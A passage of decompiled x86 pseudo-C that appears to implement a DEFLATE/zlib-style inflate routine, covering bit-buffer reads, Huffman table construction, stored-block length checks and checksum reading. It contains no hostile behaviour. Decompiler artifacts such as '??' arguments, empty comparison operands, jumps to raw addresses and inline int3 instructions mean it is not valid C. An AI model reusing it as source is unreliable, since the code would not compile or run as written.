																					_t936 =  *((char*)(_t806 + 0x50f004));
																					_t1044 = _t1043 >> _t936;
																					_t1050 = _t1050 - _t936;
																					_t937 = _t806;
																					 *(_t1066 - 4) = _t1044;
																					 *(_t1066 - 0x1c) = _t1050;
																					 *(_t1024 + 0x2c) =  *(_t1024 + 0x2c) +  *((intOrPtr*)(0x50fa38 + _t937 * 4));
																					_t997 = _t1044;
																					_t1029 =  *(_t1066 - 0x14);
																					_t897 = _t937 + 1;
																					continue;
																				} else {
																					while(1) {
																						L130:
																						__eflags = _t846 -  *(_t1066 - 0x20);
																						if(_t846 >=  *(_t1066 - 0x20)) {
																							break;
																						}
																						L131:
																						_t809 = ( *_t846 & 0x000000ff) << _t1050;
																						_t846 = _t846 + 1;
																						_t897 =  *(_t1066 - 8);
																						_t997 = _t997 | _t809;
																						_t1050 = _t1050 + 8;
																						 *(_t1066 - 0x18) = _t846;
																						 *(_t1066 - 4) = _t997;
																						_t595 =  *((char*)(_t897 + 0x50f004));
																						 *(_t1066 - 0x1c) = _t595;
																						__eflags = _t1050 - _t595;
																						if(_t1050 < _t595) {
																							continue;
																						} else {
																							goto L132;
																						}
																						goto L295;
																					}
																					L248:
																					 *_t1029 = 0xb;
																					goto L285;
																				}
																				goto L295;
																			}
																			L133:
																			L134:
																			_t595 = memset(_t1029 + 0x1b80, 0, ??);
																			_t998 =  *(_t1066 - 4);
																			_t1068 = _t1068 + 0xc;
																			_t898 = 0;
																			__eflags = 0;
																			while(1) {
																				L135:
																				 *(_t1066 - 8) = _t898;
																				__eflags = _t898 -  *((intOrPtr*)(_t1029 + 0x34));
																				if(_t898 >=  *((intOrPtr*)(_t1029 + 0x34))) {
																					break;
																				}
																				L136:
																				__eflags = _t1050 - 3;
																				if(_t1050 >= 3) {
																					L139:
																					_t932 = _t998 & 0x00000007;
																					_t998 = _t998 >> 3;
																					_t1050 = _t1050 - 3;
																					 *(_t1066 - 4) = _t998;
																					 *(_t1066 - 0x1c) = _t1050;
																					_t595 =  *( *(_t1066 - 8) + 0x50fa24) & 0x000000ff;
																					 *(_t1029 + 0x1b80 + _t595) = _t932;
																					_t898 =  *(_t1066 - 8) + 1;
																					continue;
																				} else {
																					while(1) {
																						L137:
																						__eflags = _t846 -  *(_t1066 - 0x20);
																						if(_t846 >=  *(_t1066 - 0x20)) {
																							break;
																						}
																						L138:
																						_t595 = ( *_t846 & 0x000000ff) << _t1050;
																						_t846 = _t846 + 1;
																						_t998 = _t998 | _t595;
																						 *(_t1066 - 0x18) = _t846;
																						_t1050 = _t1050 + 8;
																						 *(_t1066 - 4) = _t998;
																						__eflags = _t1050 - 3;
																						if(_t1050 < 3) {
																							continue;
																						} else {
																							goto L139;
																						}
																						goto L295;
																					}
																					L249:
																					 *_t1029 = 0xe;
																					goto L285;
																				}
																				goto L295;
																			}
																			L140:
																			 *((intOrPtr*)(_t1029 + 0x34)) = 0x13;
																			goto L141;
																		} else {
																			L125:
																			goto 0x5214d8;
																			asm("int3");
																			asm("int3");
																			 *((intOrPtr*)(_t694 + 0x2c)) = 0x120;
																			L126:
																			_t811 = _t694 + 1 - 0x20;
																			 *_t811 =  *_t811 + _t811;
																			_t846 = _t846 + _t811;
																			_t812 = _t811 + 1;
																			 *_t812 =  *_t812 ^ _t812;
																			 *_t812 = _t812 +  *_t812;
																			 *0xde0 =  *0xde0 + _t812;
																			memset(_t812, ??, ??);
																			asm("movdqa xmm0, [0x50fae0]");
																			_t1068 = _t1068 + 0xc;
																			asm("movdqu [edi+0x40], xmm0");
																			asm("movdqu [edi+0x50], xmm0");
																			asm("movdqu [edi+0x60], xmm0");
																			asm("movdqu [edi+0x70], xmm0");
																			asm("movdqu [edi+0x80], xmm0");
																			asm("movdqu [edi+0x90], xmm0");
																			asm("movdqu [edi+0xa0], xmm0");
																			asm("movdqu [edi+0xb0], xmm0");
																			asm("movdqu [edi+0xc0], xmm0");
																			_t1045 = _t1029 + 0xd0;
																			asm("movdqa xmm0, [0x50faf0]");
																			asm("movdqu [edi], xmm0");
																			asm("movdqu [edi+0x10], xmm0");
																			asm("movdqu [edi+0x20], xmm0");
																			asm("movdqu [edi+0x30], xmm0");
																			asm("movdqu [edi+0x40], xmm0");
																			asm("movdqu [edi+0x50], xmm0");
																			asm("movdqu [edi+0x60], xmm0");
																			asm("movdqa xmm0, [0x50fad0]");
																			asm("movdqu [edi+0x70], xmm0");
																			asm("movq [edi+0x80], xmm0");
																			 *((intOrPtr*)(_t1045 + 0x88)) = 0x8080808;
																			 *((intOrPtr*)(_t1045 + 0x8c)) = 0x8080808;
																			_t1029 =  *(_t1066 - 0x14);
																			while(1) {
																				L141:
																				_t696 =  *(_t1029 + 0x18);
																				__eflags = _t696;
																				if(_t696 < 0) {
																					break;
																				}
																				L142:
																				 *(_t1066 - 0xc) = 0x40 + _t696 * 0xda0 + _t1029;
																				memset(_t1066 - 0xd0, 0, 0x40);
																				memset( *(_t1066 - 0xc) + 0x120, 0, 0x800);
																				memset( *(_t1066 - 0xc) + 0x920, 0, 0x480);
																				_t899 = 0;
																				_t1068 = _t1068 + 0x24;
																				_t1012 = _t1029 + ( *(_t1029 + 0x18) + 0xb) * 4;
																				 *(_t1066 - 0x44) = _t1012;
																				__eflags =  *_t1012;
																				if( *_t1012 > 0) {
																					L143:
																					_t1029 =  *(_t1066 - 0xc);
																					do {
																						L144:
																						_t799 =  *(_t899 + _t1029) & 0x000000ff;
																						_t899 = _t899 + 1;
																						 *((intOrPtr*)(_t1066 + _t799 * 4 - 0xd0)) =  *((intOrPtr*)(_t1066 + _t799 * 4 - 0xd0)) + 1;
																						__eflags = _t899 -  *_t1012;
																					} while (_t899 <  *_t1012);
																				}
																				L145:
																				goto 0x521500;
																				asm("int3");
																				asm("int3");
																				asm("int3");
																				asm("int3");
																				L146:
																				 *(_t1066 - 0x8c) = _t899;
																				 *(_t1066 - 0x90) = _t899;
																				 *(_t1066 - 0x2c) = _t899;
																				 *(_t1066 - 0x30) = _t899;
																				do {
																					L147:
																					_t736 =  *((intOrPtr*)(_t1066 + _t1012 - 0xd4));
																					_t901 = _t899 + _t736 + _t899 + _t736;
																					_t1029 = _t1029 + _t736;
																					_t737 =  *((intOrPtr*)(_t1066 + _t1012 - 0xd0));
																					 *(_t1066 - 0x30) =  *(_t1066 - 0x30) + _t737;
																					 *((intOrPtr*)(_t1066 + _t1012 - 0x90)) = _t901;
																					_t738 =  *((intOrPtr*)(_t1066 + _t1012 - 0xcc));
																					_t903 = _t901 + _t737 + _t901 + _t737;
																					 *(_t1066 - 0x2c) =  *(_t1066 - 0x2c) + _t738;
																					 *((intOrPtr*)(_t1066 + _t1012 - 0x8c)) = _t903;
																					_t899 = _t903 + _t738 + _t903 + _t738;
																					 *(_t1066 + _t1012 - 0x88) = _t899;
																					_t1012 = _t1012 + 0xc;
																					__eflags = _t1012 - 0x40;
																				} while (_t1012 <= 0x40);
																				 *(_t1066 - 0x4c) = _t899;
																				 *(_t1066 - 0x24) = _t1029;
																				_t1029 =  *(_t1066 - 0x14);
																				_t906 =  *(_t1066 - 0x24) +  *(_t1066 - 0x2c) +  *(_t1066 - 0x30);
																				__eflags =  *(_t1066 - 0x4c) - 0x10000;
																				if( *(_t1066 - 0x4c) == 0x10000) {
																					L150:
																					_t741 =  *(_t1066 - 0x44);
																					 *(_t1066 - 0x30) = 0xffffffff;
																					 *(_t1066 - 0x4c) = 0;
																					__eflags =  *_t741;
																					if( *_t741 > 0) {
																						L151:
																						_t1065 =  *(_t1066 - 0x4c);
																						do {
																							L152:
																							L153:
																							_t918 =  *(_t1065 + _t741) & 0x000000ff;
																							 *(_t1066 - 0x44) = _t918;
																							__eflags = _t918;
																							if(_t918 != 0) {
																								L154:
																								_t778 =  *(_t1066 + _t918 * 4 - 0x90);
																								 *(_t1066 - 0x2c) = _t778;
																								 *(_t1066 + _t918 * 4 - 0x90) = _t778 + 1;
																								 *(_t1066 - 0x24) = _t918;
																								__eflags = _t918;
																								if(_t918 != 0) {
																									L155:
																									do {
																										L156:
																										 *(_t1066 - 0x2c) =  *(_t1066 - 0x2c) >> 1;
																										_t798 =  *(_t1066 - 0x24) - 1;
																										_t1012 = _t1012 + _t1012 |  *(_t1066 - 0x2c) & 0x00000001;
																										 *(_t1066 - 0x24) = _t798;
																										__eflags = _t798;
																									} while (_t798 != 0);
																									_t918 =  *(_t1066 - 0x44);
																								}
																								L158:
																								__eflags = _t918 - 0xa;
																								if(_t918 > 0xa) {
																									L164:
																									_t782 =  *(_t1066 - 0xc) + 0x120 + (_t1012 & 0x000003ff) * 2;
																									_t846 =  *(_t1066 - 0x30);
																									 *(_t1066 - 0x44) = _t782;
																									_t783 =  *_t782;
																									 *(_t1066 - 0x2c) = _t783;
																									__eflags = _t783;
																									if(_t783 == 0) {
																										 *( *(_t1066 - 0x44)) = _t846;
																										_t783 = _t846;
																										_t846 = _t846 - 2;
																										__eflags = _t846;
																										 *(_t1066 - 0x2c) = _t783;
																										 *(_t1066 - 0x30) = _t846;
																									}
																									L166:
																									_t1020 = _t1012 >> 9;
																									__eflags = _t918 - 0xb;
																									if(_t918 > 0xb) {
																										L167:
																										_t919 = _t918 + 0xfffffff5;
																										__eflags = _t919;
																										 *(_t1066 - 0x24) = _t919;
																										_t920 =  *(_t1066 - 0x2c);
																										do {
																											L168:
																											_t1020 = _t1020 >> 1;
																											_t788 = 0x48f - _t920 - (_t1020 & 0x00000001);
																											_t923 =  *( *(_t1066 - 0xc) + 0x91e) & 0x0000ffff;
																											__eflags = _t923;
																											if(_t923 != 0) {
																												_t920 = _t923;
																											} else {
																												 *( *(_t1066 - 0xc) + _t788 * 2) = _t846;
																												_t789 =  *(_t1066 - 0x30);
																												_t920 = _t789;
																												_t790 = _t789 - 2;
																												 *(_t1066 - 0x30) = _t790;
																												_t846 = _t790;
																											}
																											L171:
																											_t361 = _t1066 - 0x24;
																											 *_t361 =  *(_t1066 - 0x24) - 1;
																											__eflags =  *_t361;
																										} while ( *_t361 != 0);
																										 *(_t1066 - 0x2c) = _t920;
																										_t783 = _t920;
																									}
																									L173:
																									_t1012 = (_t1020 >> 0x00000001 & 0x00000001) - _t783;
																									__eflags = _t1012;
																									 *( *(_t1066 - 0xc) + 0x91e + _t1012 * 2) = _t1065;
																								} else {
																									L159:
																									_t795 = (_t918 << 0x00000009 | _t1065) & 0x0000ffff;
																									 *(_t1066 - 0x44) = _t795;
																									__eflags = _t1012 - 0x400;
																									if(_t1012 < 0x400) {
																										L160:
																										goto 0x52152a;
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										L161:
																										_t796 = _t795 << _t918;
																										 *(_t1066 - 0x4c) = _t796 + _t796;
																										_t928 =  *(_t1066 - 0xc) + _t1012 * 2 + 0x120;
																										__eflags = _t928;
																										do {
																											L162:
																											 *_t928 = _t1029;
																											_t1012 = _t1012 + _t796;
																											_t928 = _t928 +  *(_t1066 - 0x4c);
																											__eflags = _t1012 - 0x400;
																										} while (_t1012 < 0x400);
																										_t1029 =  *(_t1066 - 0x14);
																									}
																								}
																							}
																							L174:
																							_t741 =  *(_t1029 + 0x18);
																							_t1065 = _t1065 + 1;
																							__eflags = _t1065 -  *((intOrPtr*)(_t1029 + 0x2c + _t741 * 4));
																						} while (_t1065 <  *((intOrPtr*)(_t1029 + 0x2c + _t741 * 4)));
																						goto 0x521540;
																						asm("int3");
																					}
																					L176:
																					__eflags =  *(_t1029 + 0x18) - 2;
																					if( *(_t1029 + 0x18) != 2) {
																						L217:
																						 *(_t1029 + 0x18) =  *(_t1029 + 0x18) - 1;
																						continue;
																					} else {
																						L177:
																						_t907 = 0;
																						__eflags = 0;
																						while(1) {
																							L178:
																							_t1013 =  *(_t1066 - 4);
																							while(1) {
																								L179:
																								 *(_t1066 - 8) = _t907;
																								__eflags = _t907 -  *(_t1029 + 0x30) +  *(_t1029 + 0x2c);
																								if(_t907 >=  *(_t1029 + 0x30) +  *(_t1029 + 0x2c)) {
																									break;
																								}
																								L180:
																								__eflags = _t1065 - 0xf;
																								if(_t1065 >= 0xf) {
																									L197:
																									_t756 =  *((short*)(_t1029 + 0x1ca0 + (_t1013 & 0x000003ff) * 2));
																									 *(_t1066 - 0x28) = _t756;
																									__eflags = _t756;
																									if(_t756 < 0) {
																										L199:
																										L200:
																										do {
																											L201:
																											 *(_t1066 - 0x28) =  !( *(_t1066 - 0x28));
																											_t758 = _t1013 >> _t907;
																											_t907 = _t907 + 1;
																											_t595 =  *((short*)(_t1029 + 0x24a0 + ((_t758 & 0x00000001) +  *(_t1066 - 0x28)) * 2));
																											 *(_t1066 - 0x28) = _t595;
																											__eflags = _t595;
																										} while (_t595 < 0);
																									} else {
																										L198:
																										_t907 = _t756 >> 9;
																										_t595 = _t756 & 0x000001ff;
																										 *(_t1066 - 0x28) = _t595;
																									}
																									L202:
																									_t1013 = _t1013 >> _t907;
																									_t1050 = _t1065 - _t907;
																									 *(_t1066 - 4) = _t1013;
																									 *(_t1066 - 0x1c) = _t1050;
																									__eflags = _t595 - 0x10;
																									if(__eflags >= 0) {
																										L204:
																										if(__eflags != 0) {
																											L207:
																											_t908 =  *((char*)(_t595 + 0x50eff0));
																											 *(_t1066 - 0x38) = _t908;
																											__eflags = _t1050 - _t908;
																											if(_t1050 >= _t908) {
																												L211:
																												_t1050 = _t1050 - _t908;
																												 *(_t1066 - 0x1c) = _t1050;
																												_t909 =  *(_t1066 - 0x14);
																												_t1039 = ((0x00000001 << _t908) - 0x00000001 & _t1013) +  *((char*)(_t595 + 0x50eff8));
																												__eflags =  *(_t1066 - 0x28) - 0x10;
																												_t762 =  *(_t1066 - 8);
																												 *(_t1066 - 4) = _t1013 >> _t908;
																												if( *(_t1066 - 0x28) != 0x10) {
																													_t1016 = 0;
																													__eflags = 0;
																												} else {
																													_t1016 =  *(_t762 + _t909 + 0x2923) & 0x000000ff;
																												}
																												L214:
																												memset(_t762 + _t909 + 0x2924, _t1016, _t1039);
																												_t1068 = _t1068 + 0xc;
																												_t907 =  *(_t1066 - 8) + _t1039;
																												_t1029 =  *(_t1066 - 0x14);
																												L178:
																												_t1013 =  *(_t1066 - 4);
																												continue;
																											} else {
																												while(1) {
																													L208:
																													__eflags = _t846 -  *(_t1066 - 0x20);
																													if(_t846 >=  *(_t1066 - 0x20)) {
																														break;
																													}
																													L209:
																													_t595 = ( *_t846 & 0x000000ff) << _t1050;
																													_t846 = _t846 + 1;
																													_t908 =  *(_t1066 - 0x38);
																													_t1013 = _t1013 | _t595;
																													_t1050 = _t1050 + 8;
																													 *(_t1066 - 0x18) = _t846;
																													 *(_t1066 - 4) = _t1013;
																													__eflags = _t1050 - _t908;
																													if(_t1050 < _t908) {
																														continue;
																													} else {
																														L210:
																														_t595 =  *(_t1066 - 0x28);
																														goto L211;
																													}
																													goto L295;
																												}
																												L251:
																												 *_t1029 = 0x12;
																												goto L285;
																											}
																										} else {
																											L205:
																											_t766 =  *(_t1066 - 8);
																											__eflags = _t766;
																											if(_t766 == 0) {
																												L268:
																												_t684 = _t766 | 0xffffffff;
																												 *_t1029 = 0x11;
																												goto L291;
																											} else {
																												L206:
																												_t595 =  *(_t1066 - 0x28);
																												goto L207;
																											}
																										}
																									} else {
																										L203:
																										_t913 =  *(_t1066 - 8);
																										 *(_t1029 + 0x2924 + _t913) = _t595;
																										_t907 = _t913 + 1;
																										continue;
																									}
																								} else {
																									L181:
																									__eflags =  *(_t1066 - 0x20) - _t846 - 2;
																									if( *(_t1066 - 0x20) - _t846 >= 2) {
																										L195:
																										_t1017 =  *(_t846 + 1) & 0x000000ff;
																										_t769 =  *_t846 & 0x000000ff;
																										_t846 = _t846 + 2;
																										_t907 = _t1065;
																										 *(_t1066 - 0x18) = _t846;
																										 *(_t1066 - 4) =  *(_t1066 - 4) | _t1017 << _t1065 + 0x00000008 | _t769 << _t907;
																										_t1065 = _t1065 + 0x10;
																										__eflags = _t1065;
																										_t1013 =  *(_t1066 - 4);
																										goto L196;
																									} else {
																										do {
																											L182:
																											_t595 = _t1013 & 0x000003ff;
																											_t1040 =  *((short*)(_t1029 + 0x1ca0 + _t595 * 2));
																											__eflags = _t1040;
																											if(_t1040 < 0) {
																												L186:
																												__eflags = _t1065 - 0xa;
																												if(_t1065 <= 0xa) {
																													goto L191;
																												} else {
																													L187:
																													L188:
																													 *(_t1066 - 0x24) = _t907;
																													while(1) {
																														L189:
																														_t1040 =  *((short*)( *(_t1066 - 0x14) + 0x24a0 + ((_t1013 >> _t907 & 0x00000001) +  !_t1040) * 2));
																														_t907 =  *(_t1066 - 0x24) + 1;
																														 *(_t1066 - 0x24) = _t907;
																														__eflags = _t1040;
																														if(_t1040 >= 0) {
																															goto L196;
																														}
																														L190:
																														_t595 = _t907 + 1;
																														__eflags = _t1065 - _t595;
																														if(_t1065 >= _t595) {
																															continue;
																														} else {
																															goto L191;
																														}
																														goto L295;
																													}
																													goto L196;
																												}
																											} else {
																												L183:
																												_t1042 = _t1040 >> 9;
																												__eflags = _t1042;
																												if(_t1042 == 0) {
																													L191:
																													_t1029 =  *(_t1066 - 0x14);
																													L192:
																													__eflags = _t846 -  *(_t1066 - 0x20);
																													if(_t846 >=  *(_t1066 - 0x20)) {
																														L250:
																														 *_t1029 = 0x10;
																														goto L285;
																													} else {
																														goto L193;
																													}
																												} else {
																													L184:
																													__eflags = _t1065 - _t1042;
																													if(_t1065 >= _t1042) {
																														L196:
																														_t1029 =  *(_t1066 - 0x14);
																														goto L197;
																													} else {
																														L185:
																														goto L191;
																													}
																												}
																											}
																											goto L295;
																											L193:
																											_t907 = _t1065;
																											_t773 = ( *_t846 & 0x000000ff) << _t907;
																											_t846 = _t846 + 1;
																											_t1013 = _t1013 | _t773;
																											 *(_t1066 - 0x18) = _t846;
																											_t1065 = _t1065 + 8;
																											 *(_t1066 - 4) = _t1013;
																											__eflags = _t1065 - 0xf;
																										} while (_t1065 < 0xf);
																										goto L197;
																									}
																								}
																								goto L295;
																							}
																							L215:
																							_t1014 =  *(_t1029 + 0x2c);
																							_t745 =  *(_t1029 + 0x30) + _t1014;
																							__eflags = _t745 - _t907;
																							if(_t745 != _t907) {
																								L269:
																								_t684 = _t745 | 0xffffffff;
																								 *_t1029 = 0x15;
																								goto L291;
																							} else {
																								L216:
																								memcpy(_t1029 + 0x40, _t1029 + 0x2924, _t1014);
																								_t751 =  *(_t1029 + 0x2c) + 0x2924 + _t1029;
																								__eflags = _t751;
																								memcpy(_t1029 + 0xde0, _t751,  *(_t1029 + 0x30));
																								_t1068 = _t1068 + 0x18;
																								goto L217;
																							}
																							goto L295;
																						}
																					}
																				} else {
																					L149:
																					__eflags = _t906 - 1;
																					if(_t906 > 1) {
																						L267:
																						 *(_t1066 - 0xc) = 0xffffffff;
																						 *_t1029 = 0x23;
																						goto L292;
																					} else {
																						goto L150;
																					}
																				}
																				goto L295;
																			}
																			L218:
																			_t988 =  *(_t1066 - 4);
																			while(1) {
																				L38:
																				_t883 =  *(_t1066 - 0x20) - _t846;
																				__eflags = _t883 - 4;
																				if(_t883 < 4) {
																					goto L57;
																				}
																				goto L39;
																			}
																			goto L57;
																		}
																	}
																} else {
																	L89:
																	_t595 = _t1050 & 0x00000007;
																	__eflags = _t1050 - _t595;
																	if(_t1050 >= _t595) {
																		L92:
																		_t940 = _t1050 & 0x00000007;
																		_t987 = _t997 >> _t940;
																		_t1050 = _t1050 - _t940;
																		 *(_t1066 - 4) = _t987;
																		_t941 = 0;
																		__eflags = 0;
																		while(1) {
																			L93:
																			 *(_t1066 - 8) = _t941;
																			__eflags = _t941 - 4;
																			if(_t941 >= 4) {
																				break;
																			}
																			L94:
																			__eflags = _t1050;
																			if(_t1050 == 0) {
																				L100:
																				__eflags = _t846 -  *(_t1066 - 0x20);
																				if(_t846 >=  *(_t1066 - 0x20)) {
																					L244:
																					 *_t1029 = 7;
																					goto L285;
																				} else {
																					L101:
																					_t595 =  *_t846;
																					_t846 = _t846 + 1;
																					(_t1029 + 0x2920)[_t941] = _t595;
																					_t941 = _t941 + 1;
																					 *(_t1066 - 0x18) = _t846;
																					continue;
																				}
																			} else {
																				L95:
																				__eflags = _t1050 - 8;
																				if(_t1050 >= 8) {
																					L99:
																					(_t1029 + 0x2920)[_t941] = _t987;
																					_t1050 = _t1050 - 8;
																					_t987 = _t987 >> 8;
																					_t941 = _t941 + 1;
																					 *(_t1066 - 4) = _t987;
																					continue;
																				} else {
																					while(1) {
																						L96:
																						__eflags = _t846 -  *(_t1066 - 0x20);
																						if(_t846 >=  *(_t1066 - 0x20)) {
																							break;
																						}
																						L97:
																						_t595 = ( *_t846 & 0x000000ff) << _t1050;
																						_t846 = _t846 + 1;
																						_t987 = _t987 | _t595;
																						 *(_t1066 - 0x18) = _t846;
																						_t1050 = _t1050 + 8;
																						 *(_t1066 - 4) = _t987;
																						__eflags = _t1050 - 8;
																						if(_t1050 < 8) {
																							continue;
																						} else {
																							L98:
																							_t941 =  *(_t1066 - 8);
																							goto L99;
																						}
																						goto L295;
																					}
																					L243:
																					 *_t1029 = 6;
																					goto L285;
																				}
																			}
																			goto L295;
																		}
																		L102:
																		_t595 =  *(_t1029 + 0x2922) & 0x000000ff;
																		 *(_t1066 - 8) = ( *(_t1029 + 0x2921) & 0x000000ff) << 0x00000008 |  *(_t1029 + 0x2920) & 0x000000ff;
																		__eflags =  *(_t1066 - 8) - ((( *(_t1029 + 0x2923) & 0x000000ff) << 0x00000008 | _t595) ^ 0x0000ffff);
																		if( *(_t1066 - 8) != ((( *(_t1029 + 0x2923) & 0x000000ff) << 0x00000008 | _t595) ^ 0x0000ffff)) {
																			L265:
																			 *(_t1066 - 0xc) = 0xffffffff;
																			 *_t1029 = 0x27;
																			goto L292;
																		} else {
																			L103:
																			_t949 =  *(_t1066 - 8);
																			while(1) {
																				L104:
																				__eflags = _t949;
																				if(_t949 == 0) {
																					goto L84;
																				}
																				L105:
																				__eflags = _t1050;
																				if(_t1050 == 0) {
																					L112:
																					_t595 =  *(_t1066 - 0x10);
																					while(1) {
																						L113:
																						__eflags = _t949;
																						if(_t949 == 0) {
																							break;
																						}
																						L115:
																						_t1025 =  *((intOrPtr*)(_t1066 - 0x40));
																						__eflags = _t595 - _t1025;
																						if(_t595 < _t1025) {
																							L117:
																							_t595 =  *(_t1066 - 0x20);
																							__eflags = _t846 - _t595;
																							if(_t846 >= _t595) {
																								L247:
																								_t1029 =  *(_t1066 - 0x14);
																								 *_t1029 = 0x26;
																								goto L285;
																							} else {
																								L118:
																								_t987 = _t1025 -  *(_t1066 - 0x10);
																								_t1047 = _t595 - _t846;
																								__eflags = _t987 - _t1047;
																								_t817 =  <  ? _t987 : _t1047;
																								__eflags = ( <  ? _t987 : _t1047) - _t949;
																								if(( <  ? _t987 : _t1047) >= _t949) {
																									_t1029 = _t949;
																								} else {
																									__eflags = _t987 - _t1047;
																									_t1029 =  <  ? _t987 : _t1047;
																								}
																								L121:
																								L122:
																								memcpy();
																								_t846 = _t846 + _t1029;
																								_t595 =  *(_t1066 - 0x10) + _t1029;
																								_t1068 = _t1068 + 0xc;
																								 *(_t1066 - 0x18) = _t846;
																								_t949 =  *(_t1066 - 8) - _t1029;
																								 *(_t1066 - 0x10) = _t595;
																								 *(_t1066 - 8) = _t949;
																								continue;
																							}
																						} else {
																							L116:
																							_t1029 =  *(_t1066 - 0x14);
																							 *(_t1066 - 0xc) = 2;
																							 *_t1029 = 9;
																							goto L292;
																						}
																						goto L295;
																					}
																					L114:
																					goto 0x5214b1;
																					asm("int3");
																					goto L84;
																				} else {
																					L106:
																					__eflags = _t1050 - 8;
																					if(_t1050 >= 8) {
																						L109:
																						_t595 = _t987 & 0x000000ff;
																						_t987 = _t987 >> 8;
																						_t1050 = _t1050 - 8;
																						 *(_t1066 - 0x28) = _t595;
																						 *(_t1066 - 4) = _t987;
																						L110:
																						__eflags =  *(_t1066 - 0x10) -  *((intOrPtr*)(_t1066 - 0x40));
																						_t1029 =  *(_t1066 - 0x14);
																						if( *(_t1066 - 0x10) >=  *((intOrPtr*)(_t1066 - 0x40))) {
																							L246:
																							 *(_t1066 - 0xc) = 2;
																							 *_t1029 = 0x34;
																							goto L292;
																						} else {
																							L111:
																							 *(_t1066 - 0x10) =  *(_t1066 - 0x10) + 1;
																							 *( *(_t1066 - 0x10)) = _t595;
																							_t949 =  *(_t1066 - 8) - 1;
																							 *(_t1066 - 8) = _t949;
																							continue;
																						}
																					} else {
																						while(1) {
																							L107:
																							__eflags = _t846 -  *(_t1066 - 0x20);
																							if(_t846 >=  *(_t1066 - 0x20)) {
																								break;
																							}
																							L108:
																							_t595 = ( *_t846 & 0x000000ff) << _t1050;
																							_t846 = _t846 + 1;
																							_t987 = _t987 | _t595;
																							 *(_t1066 - 0x18) = _t846;
																							_t1050 = _t1050 + 8;
																							 *(_t1066 - 4) = _t987;
																							__eflags = _t1050 - 8;
																							if(_t1050 < 8) {
																								continue;
																							} else {
																								goto L109;
																							}
																							goto L295;
																						}
																						L245:
																						 *_t1029 = 0x33;
																						goto L285;
																					}
																				}
																				goto L295;
																			}
																			continue;
																		}
																	} else {
																		while(1) {
																			L90:
																			__eflags = _t846 -  *(_t1066 - 0x20);
																			if(_t846 >=  *(_t1066 - 0x20)) {
																				break;
																			}
																			L91:
																			_t823 = ( *_t846 & 0x000000ff) << _t1050;
																			_t1050 = _t1050 + 8;
																			_t997 = _t997 | _t823;
																			_t846 = _t846 + 1;
																			 *(_t1066 - 0x18) = _t846;
																			_t595 = _t1050 & 0x00000007;
																			 *(_t1066 - 4) = _t997;
																			__eflags = _t1050 - _t595;
																			if(_t1050 < _t595) {
																				continue;
																			} else {
																				goto L92;
																			}
																			goto L295;
																		}
																		L242:
																		 *_t1029 = 5;
																		goto L285;
																	}
																}
															} else {
																while(1) {
																	L86:
																	__eflags = _t846 -  *(_t1066 - 0x20);
																	if(_t846 >=  *(_t1066 - 0x20)) {
																		break;
																	}
																	L87:
																	_t595 = ( *_t846 & 0x000000ff) << _t1064;
																	_t846 = _t846 + 1;
																	_t987 = _t987 | _t595;
																	 *(_t1066 - 0x18) = _t846;
																	_t1050 = _t1064 + 8;
																	 *(_t1066 - 4) = _t987;
																	__eflags = _t1050 - 3;
																	if(_t1050 < 3) {
																		continue;
																	} else {
																		goto L88;
																	}
																	goto L295;
																}
																L241:
																 *_t1029 = 3;
																goto L285;
															}
															goto L295;
														}
														L252:
														_t595 = _t1064 & 0x00000007;
														__eflags = _t1064 - _t595;
														if(_t1064 >= _t595) {
															L256:
															_t683 =  *(_t1066 - 0x3c);
															_t890 = _t1064 & 0x00000007;
															_t992 = _t987 >> _t890;
															_t1050 = _t1064 - _t890;
															 *(_t1066 - 4) = _t992;
															__eflags = _t846 - _t683;
															if(_t846 > _t683) {
																while(1) {
																	L257:
																	__eflags = _t1050 - 8;
																	if(_t1050 < 8) {
																		goto L259;
																	}
																	L258:
																	_t846 = _t846 - 1;
																	_t1050 = _t1050 - 8;
																	__eflags = _t846 - _t683;
																	if(_t846 > _t683) {
																		continue;
																	}
																	goto L259;
																}
															}
															L259:
															L260:
															_t595 = _t1050;
															asm("bts edx, eax");
															__eflags = _t595 - 0x20;
															_t892 =  >=  ? _t992 : 0;
															_t993 = _t992 ^ _t892;
															__eflags = _t595 - 0x40;
															_t893 =  >=  ? _t993 : _t892;
															 *(_t1066 - 4) =  *(_t1066 - 4) & _t993 - 0x00000001;
															__eflags =  *(_t1066 + 0x18) & 0x00000001;
															if(( *(_t1066 + 0x18) & 0x00000001) == 0) {
																L290:
																_t684 = 0;
																__eflags = 0;
																 *_t1029 = 0x22;
																goto L291;
															} else {
																L261:
																_t894 = 0;
																while(1) {
																	L277:
																	 *(_t1066 - 8) = _t894;
																	__eflags = _t894 - 4;
																	if(_t894 >= 4) {
																		goto L290;
																	}
																	L278:
																	__eflags = _t1050;
																	if(_t1050 != 0) {
																		L281:
																		_t995 =  *(_t1066 - 4);
																		__eflags = _t1050 - 8;
																		if(_t1050 >= 8) {
																			L275:
																			_t685 = _t995 & 0x000000ff;
																			_t1050 = _t1050 - 8;
																			__eflags = _t1050;
																			 *(_t1066 - 4) = _t995 >> 8;
																			goto L276;
																		} else {
																			L282:
																			while(1) {
																				L272:
																				__eflags = _t846 -  *(_t1066 - 0x20);
																				if(_t846 >=  *(_t1066 - 0x20)) {
																					break;
																				}
																				L273:
																				_t595 = ( *_t846 & 0x000000ff) << _t1050;
																				_t1050 = _t1050 + 8;
																				_t995 = _t995 | _t595;
																				_t846 = _t846 + 1;
																				 *(_t1066 - 4) = _t995;
																				__eflags = _t1050 - 8;
																				if(_t1050 < 8) {
																					continue;
																				} else {
																					L274:
																					_t894 =  *(_t1066 - 8);
																					goto L275;
																				}
																				goto L295;
																			}
																			L284:
																			 *_t1029 = 0x29;
																			goto L285;
																		}
																	} else {
																		L279:
																		__eflags = _t846 -  *(_t1066 - 0x20);
																		if(_t846 >=  *(_t1066 - 0x20)) {
																			L283:
																			 *_t1029 = 0x2a;
																			goto L285;
																		} else {
																			L280:
																			_t685 =  *_t846 & 0x000000ff;
																			_t846 = _t846 + 1;
																			L276:
																			 *(_t1066 - 0x24) = _t685;
																			_t595 =  *(_t1029 + 0x10) << 0x00000008 |  *(_t1066 - 0x24);
																			_t894 = _t894 + 1;
																			__eflags = _t894;
																			 *(_t1029 + 0x10) = _t595;
																			continue;
																		}
																	}
																	goto L295;
																}
																goto L290;
															}
														} else {
															L253:
															while(1) {
																L254:
																__eflags = _t846 -  *(_t1066 - 0x20);
																if(_t846 >=  *(_t1066 - 0x20)) {
																	break;
																}
																L255:
																_t1050 = _t1064 + 8;
																_t987 = _t987 | ( *_t846 & 0x000000ff) << _t1064;
																_t846 = _t846 + 1;
